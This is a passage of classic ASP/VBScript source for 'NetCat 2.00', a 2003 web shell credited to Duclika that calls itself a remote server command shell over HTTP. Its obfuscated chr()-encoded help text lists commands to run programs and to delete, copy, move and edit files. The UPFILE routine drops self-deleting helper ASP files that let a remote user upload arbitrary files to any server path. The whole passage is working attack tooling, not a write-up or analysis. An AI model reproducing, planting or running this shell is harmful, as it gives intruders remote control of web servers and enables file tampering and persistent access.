response.write " 8"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"VER"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-19735)+chr(-16460)+" NetCat "+chr(-19004)+chr(-20250)+chr(-20034)+chr(-12091)+chr(-12382)+chr(-11564)+chr(-17232)+chr(-13827)+chr(-17226)+chr(-14123)+chr(-10562)+"<br>" response.write " 9"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"REN"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-10536)+chr(-15364)+chr(-15365)+"<br>" response.write " 10"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRMAKE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-15140)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-12094)+chr(-16984)+chr(-15169)+chr(-15684)+"<br>" response.write " 11"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRCOPY"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-16904)+chr(-12080)+chr(-18252)+chr(-10554)+"<br>" response.write " 12"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRMOVE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18732)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-16904)+chr(-12080)+chr(-11578)+chr(-18769)+"<br>" response.write " 13"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DIRDEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-13873)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-17200)+chr(-19004)+chr(-13890)+chr(-19459)+"<br><br>" response.write "1.02 "+chr(-23640)+"2002-12-15"+chr(-23639)+"<br>" response.write " 1"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-11564)+chr(-14416)+chr(-20250)+chr(-20034)+chr(-19004)+"DIR"+chr(-15364)+chr(-15890)+chr(-10565)+chr(-15140)+chr(-13639)+chr(-11325)+chr(-16648)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-23636)+chr(-18696)+chr(-13639)+chr(-11325)+chr(-12320)+chr(-18732)+chr(-15689)+chr(-16714)+chr(-16691)+chr(-19466)+chr(-19219)+chr(-19004)+chr(-12598)+chr(-13086)+"<br>" response.write " 2"+chr(-24158)+chr(-12094)+chr(-11018)+chr(-17197)+"COPY"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-13643)+chr(-12080)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-18252)+chr(-10554)+"<br>" response.write " 3"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"MOVE"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-13643)+chr(-12330)+chr(-11046)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-16904)+chr(-12080)+chr(-12604)+chr(-17154)+chr(-11578)+chr(-18769)+"<br>" response.write " 4"+chr(-24158)+chr(-11018)+chr(-17197)+chr(-15925)+"DEL"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-13643)+chr(-12330)+chr(-12604)+chr(-17154)+chr(-13890)+chr(-19459)+"<br>" response.write " 5"+chr(-24158)+chr(-11018)+chr(-17197)+"RUN"+chr(-15364)+chr(-15890)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-19276)+chr(-16984)+chr(-11589)+chr(-18186)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-16904)+chr(-19508)+chr(-23636)+chr(-11534)+chr(-12630)+chr(-14168)+chr(-12322)+chr(-12598)+chr(-13086)+chr(-23636)+chr(-17479)+chr(-19781)+chr(-15140)+chr(-12822)+chr(-14165)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+"<br>" response.write " 6"+chr(-24158)+chr(-20271)+chr(-19206)+chr(-15637)+chr(-10544)+chr(-13319)+chr(-11312)+chr(-19004)+chr(-10544)+chr(-12604)+chr(-17477)+chr(-19511)+"ASCII"+chr(-15637)+chr(-23636)+chr(-11534)+chr(-12630)+chr(-11046)+"ASP"+chr(-17197)+chr(-15396)+chr(-19004)+chr(-17923)+chr(-19508)+chr(-10544)+chr(-23636)+chr(-10544)+chr(-12604)+chr(-13625)+chr(-19781)+chr(-15140)+chr(-20037)+chr(-17197)+chr(-15396)+chr(-19004)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-11312)+chr(-10544)+chr(-12604)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-15161)+chr(-15436)+chr(-15181)+chr(-12119)+chr(-10544)+chr(-12604)+chr(-10282)+chr(-16691)+chr(-16439)+chr(-11564)+chr(-20037)+chr(-18732)+chr(-18499)+chr(-10249)+chr(-12630)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-19004)+chr(-13096)+chr(-10761)+chr(-18696)+c hr(-20037)+chr(-14367)+chr(-11561)+chr(-10798)+chr(-19466)+chr(-16204)+"<br>" response.write " 7"+chr(-24158)+chr(-20271)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+chr(-16145)+chr(-15386)+chr(-19004)+chr(-13319)+chr(-11312)+chr(-19004)+chr(-10544)+chr(-12604)+chr(-11598)+chr(-18182)+chr(-10299)+chr(-17477)+chr(-19511)+"ASCII"+chr(-15637)+chr(-15925)+chr(-23636)+chr(-19806)+chr(-12066)+chr(-10755)+chr(-15925)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"1.01"+chr(-20250)+chr(-19004)+chr(-18224)+chr(-14146)+chr(-14159)+chr(-12323)+"<br>" response.write " 8"+chr(-24158)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+"ASCII"+chr(-15637)+chr(-20250)+chr(-11046)+chr(-10782)+chr(-18186)+chr(-20250)+chr(-20034)+chr(-16470)+chr(-13636)+chr(-23636)+chr(-17439)+chr(-20271)+chr(-10284)+chr(-13843)+chr(-18474)+chr(-19511)+chr(-14092)+chr(-18231)+chr(-18186)+chr(-19206)+chr(-15637)+chr(-18738)+chr(-23636)+chr(-18474)+chr(-13918)+chr(-18984)+chr(-18732)+chr(-13346)+chr(-10505)+chr(-12604)+chr(-17154)+chr(-16904)+chr(-12080)+chr(-18224)+chr(-14146)+chr(-23636)+chr(-15140)+chr(-11312)+chr(-12121)+chr(-18984)+chr(-18496)+chr(-10567)+chr(-18732)+chr(-18499)+chr(-16904)+chr(-12080)+chr(-13096)+chr(-10761)+chr(-15637)+chr(-13912)+chr(-15384)+"<br><br>" response.write "1.01 "+chr(-23640)+"2002-11-14"+chr(-23639)+"<br>" response.write " 1"+chr(-24158)+chr(-20271)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-12352)+chr(-19007)+chr(-15448)+chr(-24143)+chr(-10755)+chr(-13635)+chr(-18236)+chr(-15365)+chr(-12630)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+chr(-24143)+"<br>" response.write " 2"+chr(-24158)+chr(-12066)+chr(-18252)+chr(-15925)+chr(-11046)+"1.00"+chr(-20250)+chr(-10544)+chr(-19781)+chr(-15140)+chr(-18236)+chr(-19996)+chr(-10284)+chr(-13843)+chr(-15365)+chr(-10282)+chr(-19004)+chr(-19781)+chr(-10269)+"<br>" response.write " 3"+chr(-24158)+chr(-12858)+chr(-19466)+chr(-24144)+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+chr(-24143)+chr(-19206)+chr(-15637)+chr(-18224)+chr(-14146)+chr(-20250)+chr(-23636)+chr(-16439)+chr(-11564)+chr(-20271)+chr(-10284)+chr(-13843)+chr(-19206)+chr(-15637)+chr(-13075)+chr(-17197)+chr(-19011)+chr(-14620)+chr(-13317)+chr(-10755)+chr(-19549)+chr(-19004)+"ASP"+chr(-12604)+chr(-17154)+chr(-16145)+chr(-23636)+chr(-19806)+chr(-11046)+chr(-10755)+chr(-19549)+chr(-19004)+chr(-14359)+chr(-16394)+chr(-12350)+chr(-23636)+chr(-20037)+chr(-18224)+chr(-14146)+chr(-12604)+chr(-17154)+chr(-11584)+chr(-14149)+chr(-15140)+chr(-10755)+chr(-19549)+chr(-11061)+chr(-12080)+"<br><br>" response.write "1.00 "+chr(-23640)+"2002-11-9"+chr(-23639)+"<br>" response.write " 1"+chr(-24158)+chr(-15169)+chr(-15684)+chr(-17715)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-6993)+chr(-16192)+chr(-18010)+chr(-15140)+chr(-23640)+chr(-17166)+chr(-10575)+chr(-16691)+chr(-12301)+chr(-18186)+chr(-12808)+chr(-15641)+chr(-20250)+chr(-19004)+"Explorer"+chr(-11589)+chr(-11783)+chr(-23639)+"<br>" response.write " 2"+chr(-24158)+"TYPE"+chr(-18010)+chr(-15140)+chr(-23636)+chr(-13588)+chr(-12380)+"DOS"+chr(-19004)+chr(-14861)+chr(-11311)+chr(-18756)+chr(-10582)+chr(-19008)+chr(-23636)+"TYPE"+chr(-13625)+chr(-15920)+chr(-19466)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+chr(-19004)+chr(-15364)+chr(-15890)+"<br>" response.write " 3"+chr(-24158)+chr(-10505)+chr(-19214)+chr(-18010)+chr(-15140)+"--EDIT"+chr(-23636)+chr(-16439)+chr(-11564)+chr(-20000)+chr(-17235)+chr(-17715)+chr(-15920)+chr(-19466)+chr(-10568)+chr(-18776)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15142)+chr(-14115)+chr(-23636)+chr(-10782)+chr(-11783)+chr(-11589)+chr(-16204)+chr(-23636)+chr(-16691)+chr(-16439)+chr(-11564)+chr(-12630)+chr(-10284)+chr(-13843)+chr(-14123)+chr(-17677)+chr(-19004)+chr(-13827)+chr(-17226)+chr(-13087)+chr(-18007)+chr(-15925)+chr(-19548)+chr(-14630)+chr(-17677)+chr(-15419)+"<br>" else response.write "<br><br><br><table border=0 width=100% cellspacing=0 cellpadding=0><tr><td width=30" & chr(37) & "> </td><td width=60" & chr(37) & " id=site>" response.write "<p style=font-size:50pt><b><a href=" & SelfName() & "?cmd=ver&par=ABOUTNETCAT title=Update Infomation>NetCat2.00</a></b></p><br>" response.write chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+"2.00<br>" response.write chr(-17415)+chr(-11302)+"HTTP"+chr(-19004)+chr(-11082)+chr(-19508)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-15364)+chr(-15890)+chr(-12080)+chr(-16926)+chr(-13619)+chr(-12830)+chr(-16441)+"<br>The Command Shell of Remote Server Based On HTTP<br><br>" response.write chr(-19508)+chr(-12046)+chr(-20000)+chr(-12108)+chr(-23622)+"Duclika<br>" response.write chr(-18969)+chr(-10285)+chr(-11318)+chr(-17154)+chr(-23622)+"<a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika@hotmail.com</a><br>" response.write "OICQ"+chr(-17723)+chr(-15637)+chr(-23622)+"5183219 58858309<br>" response.write chr(-10505)+chr(-11597)+chr(-18984)+chr(-10569)+chr(-23622)+"<a href=http://www.micromai.com/ title=[Veranda Studio] target=_blank>http://www.micromai.com/</a><br>" response.write chr(-18180)+chr(-12094)+chr(-13647)+chr(-17180)+chr(-23622)+"2003"+chr(-15126)+"5"+chr(-11070)+"23"+chr(-14123)+"<br><br>" response.write chr(-10334)+chr(-11550)+chr(-23636)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-10565)+chr(-13622)+chr(-11325)+chr(-11302)+chr(-11865)+chr(-12368)+chr(-11325)+chr(-12866)+chr(-23636)+chr(-19781)+chr(-19005)+chr(-16133)+chr(-11325)+chr(-20034)+chr(-19508)+chr(-12046)+chr(-18489)+chr(-18520)+chr(-14101)+chr(-14378)+chr(-13317)+chr(-14133)+chr(-17210)+chr(-13341)+chr(-17414)+chr(-23636)+chr(-11028)+chr(-19511)+chr(-11589)+chr(-14384)+chr(-13328)+chr(-13657)+chr(-11564)+chr(-17232)+chr(-11589)+chr(-14384)+chr(-11024)+chr(-14130)+chr(-16647)+chr(-11285)+chr(-10249)+chr(-10785)+chr(-12578)+chr(-17960)+chr(-24157)+"<br><br>" response.write "Copyright &copy [Veranda Studio] Duclika 2003-05-23" response.write "</td><td width=10" & chr(37) & "> </td></tr></table><br><br><br>" end if response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" End Function '========================================================================== Function fUPFILE() Dim uploadclassencodestr,uploadencodestr dim upfilefso,upfiletextstream dim uptarfile,savetarfile uptarfile=trim(request("par")) pcmdhostinfo if uptarfile="/?" or uptarfile="-?" or uptarfile="?" then response.write "UPFILE"+chr(-15364)+chr(-15890)+"<br><br>"+chr(-18010)+chr(-15140)+chr(-23622)+chr(-13873)+chr(-19285)+chr(-20034)+chr(-18984)+chr(-1 2604)+chr(-17154)+chr(-19011)+chr(-15169)+chr(-19990)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-10568)+chr(-18776)+chr(-19004)+chr(-12613)+chr(-10557)+chr(-13873)+"<br><br>" response.write chr(-18191)+chr(-13635)+chr(-23622) & SelfName() & "?cmd=upfile&par=["+chr(-19762)+chr(-13571)+"]<br><br>"+chr(-19762)+chr(-13571)+chr(-23622)+chr(-13873)+chr(-19285)+chr(-19011)+chr(-19004)+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18741)+chr(-19004)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-12604)+chr(-17154)+chr(-15365) response.write "<p align=center><a href=javascript:history.back()>"+chr(-17677)+chr(-12853)+"</a></p>" exit function end if set upfilefso=server.createobject("Scripting.FileSystemObject") if instr(uptarfile,"*")>0 or instr(uptarfile,"?")>0 or instr(uptarfile,"|")>0 then response.write chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-10785)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-17748)+chr(-11312)+chr(-18489)+chr(-18520)+chr(-10282)+chr(-18437) exit function else if uptarfile="" then savetarfile=AppPath() & "|SELFTNAME|" else uptarfile=vir2abs(uptarfile) if upfilefso.FolderExists(uptarfile) then if right(uptarfile,1)<>"\" then uptarfile=uptarfile & "\" end if savetarfile=uptarfile & "|SELFTNAME|" else if instr(mid(uptarfile,instrrev(uptarfile,"\")),".")=0 then response.write chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-13657)+chr(-20260)+chr(-23636)+chr(-15429)+chr(-11312)+chr(-10568)+chr(-18776)+chr(-13873)+chr(-19285)+chr(-15169)+chr(-19990)+chr(-12613)+chr(-10557)+chr(-17422)+chr(-10785)+chr(-12604)+chr(-17154)+chr(-15365) exit function else savetarfile=uptarfile end if end if end if end if uploadclassencodestr="<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>{_}Server.ScriptTimeOut=1800{_}dim upfile_5xSoft_Stream{_}Class upload_5xSoft{_}dim Form,File,Version{_}Private Sub Class_Initialize {_}dim iStart,iFileNameStart,iFileNameEnd,iEnd,vbEnter,iFormStart,iFormEnd,theFile{_}dim strDiv,mFormName,mFormValue,mFileName,mFileSize,mFilePath,iDivLen,mStr{_}Version={~}NetCat UpFile{~}{_}if Request.TotalBytes<1 then Exit Sub{_}set Form=CreateObject({~}Scripting.Dictionary{~}){_}set File=CreateObject({~}Scripting.Dictionary{~}){_}set upfile_5xSoft_Stream=CreateObject({~}Adodb.Stream{~}){_}upfile_5xSoft_Stream.mode=3{_}upfile_5xSoft_Stream.type=1{_}upfile_5xSoft_Stream.open{_}upfile_5xSoft_Stream.write Request.BinaryRead(Request.TotalBytes){_}vbEnter=Chr(13)&Chr(10){_}iDivLen=inString(1,vbEnter)+1{_}strDiv=subString(1,iDivLen){_}iFormStart=iDivLen{_}iFormEnd=inString(iformStart,strDiv)-1{_}while iFormStart < iFormEnd{_}iStart=inString(iFormStart,{~}name={~}{~}{~}){_}iEnd=inString(iStart+6,{~}{~}{~}{~}){_}mFormName=subString(iStart+6,iEnd-iStart-6){_}iFileNameStart=inString(iEnd+1,{~}filename={~}{~}{~}){_}if iFileNameStart>0 and iFileNameStart<iFormEnd then{_} iFileNameEnd=inString(iFileNameStart+10,{~}{~}{~}{~}){_} mFileName=subString(iFileNameStart+10,iFileNameEnd-iFileNameStart-10){_} iStart=inString(iFileNameEnd+1,vbEnter&vbEnter){_} iEnd=inString(iStart+4,vbEnter&strDiv){_} if iEnd>iStart then{_} mFileSize=iEnd-iStart-4{_} else{_} mFileSize=0{_} end if{_} set theFile=new FileInfo{_} theFile.FileName=getFileName(mFileName){_} theFile.FilePath=getFilePath(mFileName){_} theFile.FileSize=mFileSize{_} theFile.FileStart=iStart+4{_} theFile.FormName=FormName{_} file.add mFormName,theFile{_} else{_} iStart=inString(iEnd+1,vbEnter&vbEnter){_} iEnd=inString(iStart+4,vbEnter&strDiv){_}{_} if iEnd>iStart then{_} mFormValue=subString(iStart+4,iEnd-iStart-4){_} else{_} mFormValue={~}{~} {_} end if{_} form.Add mFormName,mFormValue{_} end if{_}{_} iFormStart=iformEnd+iDivLen{_} iFormEnd=inString(iformStart,strDiv)-1{_}wend{_}End Sub{_}Private Function subString(theStart,theLen){_} dim i,c,stemp{_} upfile_5xSoft_Stream.Position=theStart-1{_} stemp={~}{~}{_} for i=1 to theLen{_} if upfile_5xSoft_Stream.EOS then Exit for{_} c=ascB(upfile_5xSoft_Stream.Read(1)){_} If c > 127 Then{_} if upfile_5xSoft_Stream.EOS then Exit for{_} stemp=stemp&Chr(AscW(ChrB(AscB(upfile_5xSoft_Stream.Read(1)))&ChrB(c))){_} i=i+1{_} else{_} stemp=stemp&Chr(c){_} End If{_} Next{_} subString=stemp{_}End function{_}{_}Private Function inString(theStart,varStr){_} dim i,j,bt,theLen,str{_} InString=0{_} Str=toByte(varStr){_} theLen=LenB(Str){_} for i=theStart to upfile_5xSoft_Stream.Size-theLen{_} if i>upfile_5xSoft_Stream.size then exit Function{_} upfile_5xSoft_Stream.Position=i-1{_} if AscB(upfile_5xSoft_Stream.Read(1))=AscB(midB(Str,1)) then{_} InString=i{_} for j=2 to theLen{_} if upfile_5xSoft_Stream.EOS then {_} inString=0{_} Exit for{_} end if{_} if AscB(upfile_5xSoft_Stream.Read(1))<>AscB(MidB(Str,j,1)) then{_} InString=0{_} Exit For{_} end if{_} next{_} if InString<>0 then Exit Function{_} end if{_} next{_}End Function{_}{_}Private Sub Class_Terminate {_} form.RemoveAll{_} file.RemoveAll{_} set form=nothing{_} set file=nothing{_} upfile_ 5xSoft_Stream.close{_} set upfile_5xSoft_Stream=nothing{_}End Sub{_} {_} {_} Private function GetFilePath(FullPath){_} If FullPath <> {~}{~} Then{_} GetFilePath = left(FullPath,InStrRev(FullPath, {~}\{~})){_} Else{_} GetFilePath = {~}{~}{_} End If{_} End function{_} {_} Private function GetFileName(FullPath){_} If FullPath <> {~}{~} Then{_} GetFileName = mid(FullPath,InStrRev(FullPath, {~}\{~})+1){_} Else{_} GetFileName = {~}{~}{_} End If{_} End function{_}{_} Private function toByte(Str){_} dim i,iCode,c,iLow,iHigh{_} toByte={~}{~}{_} For i=1 To Len(Str){_} c=mid(Str,i,1){_} iCode =Asc(c){_} If iCode<0 Then iCode = iCode + 65535{_} If iCode>255 Then{_} iLow = Left(Hex(Asc(c)),2){_} iHigh =Right(Hex(Asc(c)),2){_} toByte = toByte & chrB({~}&H{~}&iLow) & chrB({~}&H{~}&iHigh){_} Else{_} toByte = toByte & chrB(AscB(c)){_} End If{_} Next{_} End function{_}End Class{_}Class FileInfo{_} dim FormName,FileName,FilePath,FileSize,FileStart{_} Private Sub Class_Initialize {_} FileName = {~}{~}{_} FilePath = {~}{~}{_} FileSize = 0{_} FileStart= 0{_} FormName = {~}{~}{_} End Sub{_}Public function SaveAs(FullPath){_} dim dr,ErrorChar,i{_} SaveAs=1{_} if trim(fullpath)={~}{~} or FileSize=0 or FileStart=0 or FileName={~}{~} then exit function{_} if FileStart=0 or right(fullpath,1)={~}/{~} then exit function{_} set dr=CreateObject({~}Adodb.Stream{~}){_} dr.Mode=3{_} dr.Type=1{_} dr.Open{_} upfile_5xSoft_Stream.position=FileStart-1{_} upfile_5xSoft_Stream.copyto dr,FileSize{_} dr.SaveToFile FullPath,2{_} dr.Close{_} set dr=nothing {_} SaveAs=0{_} end function{_}End Class{_}</SCRIPT>" uploadclassencodestr = Replace(uploadclassencodestr, "{~}", Chr(34)) uploadclassencodestr = Replace(uploadclassencodestr, "{_}", vbCrLf) if not upfilefso.FileExists(AppPath() & "~netcatupfileclass.asp") then set upfiletextstream=upfilefso.opentextfile(AppPath() & "~netcatupfileclass.asp",2,true) upfiletextstream.write uploadclassencodestr upfiletextstream.close set upfiletextstream=nothing end if uploadencodestr="<html><head><meta http-equiv={~}refresh{~} content={~}5; URL=" & SelfName() & "?cmd=dir&par=" & mid(savetarfile,1,instrrev(savetarfile,"\")) & "{~}>{_}<title>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version2.00</title>{_}<style>{_}A:link{TEXT-DECORATION: none}{_}A:visited{TEXT-DECORATION: none}{_}A:hover{LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}{_}#site A:link{color:#FFFFFF; TEXT-DECORATION: none}{_}#site A:visited{color:#FFFFFF; TEXT-DECORATION: none}{_}#site A:hover{color:#00FFFF; LEFT: 1px; BORDER-BOTTOM: #00FFFF 1px dotted; POSITION: relative; TOP: 1px; TEXT-DECORATION: none}{_}BODY{font-size: 12pt}{_}TD{font-size: 12pt}{_}.catbutton{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 120px}{_}textarea{BACKGROUND-COLOR: #ececec; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; COLOR: #000000; FONT-SIZE: 9pt}{_}.catinputtext{BACKGROUND-COLOR: #ffffff; BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; HEIGHT: 18px; WIDTH: 500px}{_}</style></head>{_}<body bgcolor=#000000 text=#FFFFFF link=#00FFFF vlink=#00FFFF>{_}{+}{_}response.write {~}<table border=0 width=100% cellspacing=0 cellpadding=0><tr><td id=site>{~}{_}response.write {~}<a href=" & SelfName() & "?cmd=ver title=Version>NetCat "+chr(-12808)+chr(-15641)+chr(-18487)+chr(-15448)+" Version 2.00</a> &copy [<a href=http://www.micromai.com/ title=http://www.micromai.com/ target=_blank>Veranda Studio</a>] <a href=mailto:Duclika@hotmail.com title=Duclika@hotmail.com target=_blank>Duclika</a> Updated 2003-05-23<br>{~}{_}response.write {~}"+chr(-18434)+chr(-12559)+chr(-14601)+chr(-23622)+"{~} & Request.ServerVariables({~}SERVER_NAME{~}) & {~}[{~} & Request.ServerVariables({~}LOCAL_ADDR{~}) & {~}]<br>{~}{_}response.write {~}"+chr(-16435)+chr(-17497)+chr(-18741)+chr(-23622)+"{~} & Request.ServerVariables({~}REMOTE_HOST{~}) & {~}[{~} & Request.ServerVariables({~}REMOTE_ADDR{~}) & {~}]<br>{~}{_}response.write {~}"+chr(-18434)+chr(-12559)+chr(-14601)+chr(-18493)+chr(-12598)+chr(-13647)+chr(-17180)+chr(-23622)+"{~} & now() & {~}<br><br>{~}{_}response.write {~}</td></tr></table>{~}{_}{-}{+}{_}Server.ScriptTimeOut=1800{_}dim TarFile,upload,file{_}set upload=new upload_5xsoft{_}set file=upload.file({~}file1{~}){_}TarFile={~}" & savetarfile & "{~}{_}TarFile=replace(TarFile,{~}|SELFTNAME|{~},file.FileName){_}if file.fileSize>0 then{_} file.saveAs TarFile{_} response.write {~}"+chr(-12604)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-19511)+chr(-18010)+chr(-23647)+"<br><br>"+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-23622)+"{~} & file.FilePath & file.FileName & {~}<br><br>{~}{_} response.write {~}"+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622)+"{~} & TarFile & {~}<br><br>{~}{_} response.write {~}"+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-23622)+"{~} & file.FileSize & {~}" +chr(-10282)+chr(-16934)+"{~}{_} response.write {~}<p align=center><a href=" & SelfName() & "?cmd=dir&par=" & mid(savetarfile,1,instrrev(savetarfile,"\")) & ">"+chr(-18507)+chr(-17448)+"</a></p>{~}{_} else{_} response.write {~}"+chr(-12604)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-13657)+chr(-20260)+"!"+chr(-16439)+chr(-15140)+chr(-13657)+chr(-20260)+chr(-11091)+chr(-11534)+chr(-23622)+chr(-12604)+chr(-17154)+chr(-19213)+chr(-12127)+chr(-12630)+"0"+chr(-24158)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-15365)+chr(-19514)+chr(-19219)+chr(-12557)+chr(-17422)+chr(-10785)+chr(-15429)+chr(-11312)+chr(-14168)+chr(-12322)+chr(-24157)+"{~}{_}end if{_}set file=nothing{_}set upload=nothing{_}{_}dim upfilefso,AppPath{_}AppPath=left(Request.ServerVariables({~}PATH_TRANSLATED{~}),instrrev(Request.ServerVariables({~}PATH_TRANSLATED{~}),{~}\{~})){_}set upfilefso=server.createobject({~}Scripting.FileSystemObject{~}){_}if upfilefso.FileExists(AppPath & {~}~netcatupfileclass.asp{~}) then{_} upfilefso.DeleteFile AppPath & {~}~netcatupfileclass.asp{~}{_}end if{_}if upfilefso.FileExists(AppPath & {~}~netcatupfile.asp{~}) then{_} upfilefso.DeleteFile AppPath & {~}~netcatupfile.asp{~}{_}end if{_}set upfilefso=nothing{_}{-}{_}</body></html>{_}" uploadencodestr = Replace(uploadencodestr, "{~}", Chr(34)) uploadencodestr = Replace(uploadencodestr, "{+}", chr(60) & chr(37)) uploadencodestr = Replace(uploadencodestr, "{-}", chr(37) & chr(62)) uploadencodestr = Replace(uploadencodestr, "{_}", vbCrLf) if not upfilefso.FileExists(AppPath() & "~netcatupfile.asp") then set upfiletextstream=upfilefso.opentextfile(AppPath() & "~netcatupfile.asp",2,true) upfiletextstream.write uploadencodestr upfiletextstream.close set upfiletextstream=nothing end if response.write chr(-20034)+chr(-13873)+chr(-19285)+chr(-18010)+chr(-15140)+chr(-17717)+chr(-12092)+chr(-17220)+chr(-13579)+chr(-13625)+chr(-11061)+chr(-11325)+chr(-15925)+"ADODB.Stream"+chr(-18732)+chr(-12301)+chr(-19004)+chr(-12578)+chr(-10263)+chr(-17154)+chr(-13873)+chr(-19285)+chr(-17220)+chr(-13579)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-13351)+chr(-18744)+chr(-13604)+chr(-12322)+chr(-11302)+chr(-12808)+chr(-15641)+chr(-19208)+chr(-16403)+chr(-11564)+chr(-17232)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-19213)+chr(-12127)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-12604)+chr(-17154)+chr(-17923)+chr(-11302)+chr(-19213)+chr(-17422)+chr(-10785)+chr(-12808)+chr(-15641)+chr(-13141)+chr(-15619)+chr(-23636)+chr(-17700)+chr(-16439)+chr(-15140)+chr(-17439)+chr(-11028)+chr(-19511)+chr(-13873)+chr(-19285)+chr(-19540)+chr(-13647)+chr(-18696)+chr(-13657)+chr(-20260)+"<br><br>"+chr(-10334)+chr(-11550)+chr(-23636)+chr(-14105)+chr(-17925)+chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-11567)+chr(-16723)+chr(-19226)+chr(-11046)+chr(-23636)+chr(-13873)+chr(-19285)+chr(-12604)+chr(-17154)+chr(-16981)+chr(-17439)+chr(-13082)+chr(-17477)+chr(-11091)+chr(-16204)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><br>" savetarfile=replace(savetarfile,"|SELFTNAME|","<"+chr(-20034)+chr(-18984)+chr(-12604)+chr(-17154)+chr(-19004)+chr(-12604)+chr(-17154)+chr(-15365)+"><br><br>") response.write chr(-15169)+chr(-19990)+chr(-12604)+chr(-17154)+chr(-23622) & savetarfile & "<br><br>" response.write chr(-14357)+chr(-11871)+chr(-11023)+chr(-20034)+chr(-18984)+chr(-12056)+chr(-11606)+chr(-13873)+chr(-19285)+chr(-19004)+chr(-12604)+chr(-17154)+"<br><form method=post action=~netcatupfile.asp enctype=multipart/form-data><input 